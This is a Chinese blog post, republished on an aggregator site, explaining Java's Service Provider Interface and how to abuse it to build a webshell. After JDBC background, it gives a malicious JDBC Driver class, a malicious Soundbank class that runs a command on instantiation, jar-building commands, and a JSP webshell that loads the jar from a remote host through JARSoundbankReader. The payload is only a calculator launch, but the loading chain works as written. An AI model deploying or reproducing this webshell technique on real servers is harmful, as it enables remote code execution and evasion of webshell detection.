欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 新闻 > 资讯 > 基于spi机制构造的webshell

基于spi机制构造的webshell

2024/11/6 6:20:06 来源:https://blog.csdn.net/2401_83799022/article/details/142591382  浏览:    关键词:基于spi机制构造的webshell

前言

最近在翻阅yzddmr6师傅博客的时候,发现师傅还有个github的地址

https://github.com/yzddmr6/MyPresentations

里面发现师傅去补天白帽子大会上讲解了一些webshell的攻防,特此进行了学习,然后发现了一个很有意思的webshell,不得不说yzddmr6师傅真的tql了,对spi机制又更了解了一点

因为可能刚入门webshell的可能对文章看不懂,因此一些基础知识点也会进行讲解

SPI机制的利用

SPI机制

什么是SPI机制呢?

拼出来就是Service Provider Interface,是JDK内置的一种服务提供发现机制

其实这样讲是理解不到的,说人话就是它会加载你

META-INF/services中的配置文件中指定实现接口的类

比如我们的JDBC,下面会举例子,这里不详细讲了

SPI核心方法和类

Java SPI(Service Provider Interface)机制主要涉及以下几个核心方法和类:

① java.util.ServiceLoader:ServiceLoader 类是 Java SPI 机制的核心类,用于加载和管理服务提供者。它包含以下常用方法:
load(Class<s> service):静态方法,用于加载实现了指定接口的服务提供者。
iterator():返回一个迭代器,用于遍历加载的服务提供者实例。</s>

<s>

② java.util.Iterator:Iterator 接口用于遍历集合中的元素,ServiceLoader 返回的迭代器实现了这个接口,常用方法包括:
hasNext():判断是否还有下一个元素。
next():返回下一个元素。

③ java.util.spi 包:这个包中包含了一些 SPI 相关的类,例如:
AbstractProvider:用于创建服务提供者的抽象类。
ResourceBundleControlProvider:用于提供自定义的 ResourceBundle.Control 对象。

④ META-INF/services/ 目录:在类路径下的 META-INF/services/ 目录中,通常会创建以接口全限定名命名的配置文件,用于指定实现了接口的服务提供者类。

JDBC中的SPI

首先我们思考一下为什么JDBC中需要我们的SPI机制呢?

那就是涉及到我们JDBC连接数据库的操作了

JDBC连接数据库

必不可少的一步就是加载数据库驱动,它来完成我们的连接操作,一般是使用Class.forName("com.mysql.cj.jdbc.Driver") 这样的语句来加载驱动程序

基本的流程是

1.加载数据库驱动程序:
首先,需要加载数据库厂商提供的 JDBC 驱动程序,以便与特定的数据库进行通信。可以通过 Class.forName("com.mysql.cj.jdbc.Driver") 这样的语句来加载驱动程序。

2.建立数据库连接获得Connection对象:
使用 DriverManager.getConnection(url, username, password) 方法来建立与数据库的连接。在这里,url 是数据库的地址、端口等连接信息,username 和 password 是登录数据库所需的用户名和密码。

3.创建 Statement 对象:
通过 Connection.createStatement() 方法创建一个 Statement 对象,用于向数据库发送 SQL 语句并执行查询。

4.执行 SQL 语句:
使用 Statement.executeQuery(sql) 方法来执行 SELECT 查询语句,或者使用 Statement.executeUpdate(sql) 方法来执行 INSERT、UPDATE、DELETE 等更新操作语句。

5.处理结果集:
如果执行的是 SELECT 查询语句,会返回一个 ResultSet 对象,其中包含了查询结果集。可以使用 ResultSet.next() 方法遍历结果集,并通过 ResultSet.getXXX() 方法获取具体的字段值。

下面举个例子

package MYSQL;import javax.xml.transform.Result;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.Statement;
import java.util.Properties;public class JDBC_Connection_example {public static void main(String[] args) throws Exception{Properties properties=new Properties();properties.setProperty("user","root");properties.setProperty("password","123456");String URL = "jdbc:mysql://127.0.0.1:3306/security";DriverManager.registerDriver(new com.mysql.jdbc.Driver());Connection connection=DriverManager.getConnection(URL,properties);Statement statement=connection.createStatement();String sql="select * from users";ResultSet result=statement.executeQuery(sql);int columnCount = result.getMetaData().getColumnCount();// 打印查询结果while (result.next()) {for (int i = 1; i <= columnCount; i++) {// 通过列索引获取列值,并打印System.out.print(result.getString(i) + "\t");}System.out.println();}result.close();statement.close();connection.close();}
}

为什么JDBC要有SPI

  1. 动态加载驱动

通过 SPI 机制,JDBC 驱动可以在运行时动态加载,而不需要在代码中硬编码驱动类名。这样可以使代码更加灵活和可扩展。

在没有 SPI 机制之前,开发者需要显式地注册驱动:

Class.forName("com.mysql.cj.jdbc.Driver");

有了 SPI 机制之后,驱动可以通过 DriverManager 自动加载:

Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/db", "user", "password");
  1. 提高可插拔性

SPI 机制使得 JDBC 驱动具有高度的可插拔性,用户可以轻松更换或添加新的数据库驱动而不需要修改现有代码。这对于支持多种数据库的应用程序非常重要。

  1. 简化配置

应用程序不需要显式地配置和管理 JDBC 驱动,只需要确保驱动 JAR 文件在类路径中,SPI 机制会自动发现和加载这些驱动。这大大简化了应用程序的配置和部署过程。

  1. 支持多种实现

通过 SPI 机制,不同的数据库供应商可以提供自己的 JDBC 驱动实现,而应用程序可以通过统一的 JDBC API 访问不同的数据库。这样,应用程序代码不需要依赖于具体的数据库实现,可以更加通用和灵活。

SPI机制实现分析

JDBC连接会实例化DriverManager.registerDriver(new com.mysql.jdbc.Driver());

然后我们看到这个类的静态代码

static {try {DriverManager.registerDriver(new Driver());} catch (SQLException var1) {throw new RuntimeException("Can't register driver!");}}

会调用DriverManager类的registerDriver方法,因此JVM又会去加载DriverManager类,加载过程中DriverManager的静态代码块被执行

我们看到它的代码

调用loadInitialDrivers();加载初始程序

内部调用doPrivileged,这个方法会实例化 SPI 机制的核心类然后调用load去实现spi机制

获取当前类加载器去加载

最后会来到hasNextService去加载

实现SPI的恶意利用

简单示例

那这样说我们是不是只需要在配置文件中如果能够有我们的恶意类,并且实现我们的Driver接口就可以恶意利用

创建一个恶意类

package MYSQL;import com.mysql.jdbc.Driver;import java.io.IOException;
import java.sql.SQLException;public class calc extends Driver {static {Runtime runtime=Runtime.getRuntime();try {runtime.exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}public calc() throws SQLException {}
}

配置文件写上

运行我们jdbc连接

发现弹出计算器

JARSoundbankReader类webshell利用

方法分析

我们跟进它的getSoundbank方法

public Soundbank getSoundbank(URL var1) throws InvalidMidiDataException, IOException {if (!isZIP(var1)) {return null;} else {ArrayList var2 = new ArrayList();URLClassLoader var3 = URLClassLoader.newInstance(new URL[]{var1});InputStream var4 = var3.getResourceAsStream("META-INF/services/javax.sound.midi.Soundbank");if (var4 == null) {return null;} else {try {BufferedReader var5 = new BufferedReader(new InputStreamReader(var4));for(String var6 = var5.readLine(); var6 != null; var6 = var5.readLine()) {if (!var6.startsWith("#")) {try {Class var7 = Class.forName(var6.trim(), false, var3);if (Soundbank.class.isAssignableFrom(var7)) {Object var8 = ReflectUtil.newInstance(var7);var2.add((Soundbank)var8);}} catch (ClassNotFoundException var14) {} catch (InstantiationException var15) {} catch (IllegalAccessException var16) {}}}} finally {var4.close();}if (var2.size() == 0) {return null;} else if (var2.size() == 1) {return (Soundbank)var2.get(0);} else {SimpleSoundbank var18 = new SimpleSoundbank();Iterator var19 = var2.iterator();while(var19.hasNext()) {Soundbank var20 = (Soundbank)var19.next();var18.addAllInstruments(var20);}return var18;}}}
}

首先检查是否为 ZIP 文件,然后创建一个 URLClassLoader 来加载 ZIP 文件的资源,并尝试从其中获取 META-INF/services/javax.sound.midi.Soundbank 文件的输入流。

通过输入流读取配置文件中的内容,逐行解析每个类名。其实恶意构造只需要一个类

  • 使用 Class.forName 动态加载类。
  • 检查该类是否实现了 Soundbank 接口。

所以我们构造的恶意类需要实现Soundbank接口

我们现在来构造恶意类

根据上面的SPI恶意利用的原理,我们可以使用类似的方法去制作恶意的jar包

jar包制作

目录结构如下

然后因为是加载javax.sound.midi.Soundbank中的类

我们在这个文件写入

写入你自己的恶意类的包名

nn0nkey.Evil

恶意类构造

恶意类需要实现Soundbank接口,就需要重写它的方法

然后在其中注入恶意代码

POC如下

package nn0nkey;import javax.sound.midi.Instrument;
import javax.sound.midi.Patch;
import javax.sound.midi.Soundbank;
import javax.sound.midi.SoundbankResource;
import java.io.IOException;public class  Evil implements Soundbank {public Evil(){try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}@Overridepublic String getName() {return null;}@Overridepublic String getVersion() {return null;}@Overridepublic String getVendor() {return null;}@Overridepublic String getDescription() {return null;}@Overridepublic SoundbankResource[] getResources() {return new SoundbankResource[0];}@Overridepublic Instrument[] getInstruments() {return new Instrument[0];}@Overridepublic Instrument getInstrument(Patch patch) {return null;}
}

然后运行命令构造jar包

```bash
javac src/nn0nkey/Evil.java
jar -cvf Evil.jar -C src/ .
```

本地测试

然后把我们的jar包放到服务器上,然后去访问

import com.sun.media.sound.JARSoundbankReader;
import java.net.URL;public class text {public static void main(String[] args) throws Exception {JARSoundbankReader jarSoundbankReader=new JARSoundbankReader();URL url=new URL("http://ip/Evil.jar");jarSoundbankReader.getSoundbank(url);}
}

运行弹出计算器

构造webshell

<%@ page import="com.sun.media.sound.JARSoundbankReader" %>
<%@ page import="java.net.URL" %>
<%JARSoundbankReader jarSoundbankReader=new JARSoundbankReader();URL url=new URL("http://ip/Evil.jar");jarSoundbankReader.getSoundbank(url);
%>
</s>

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com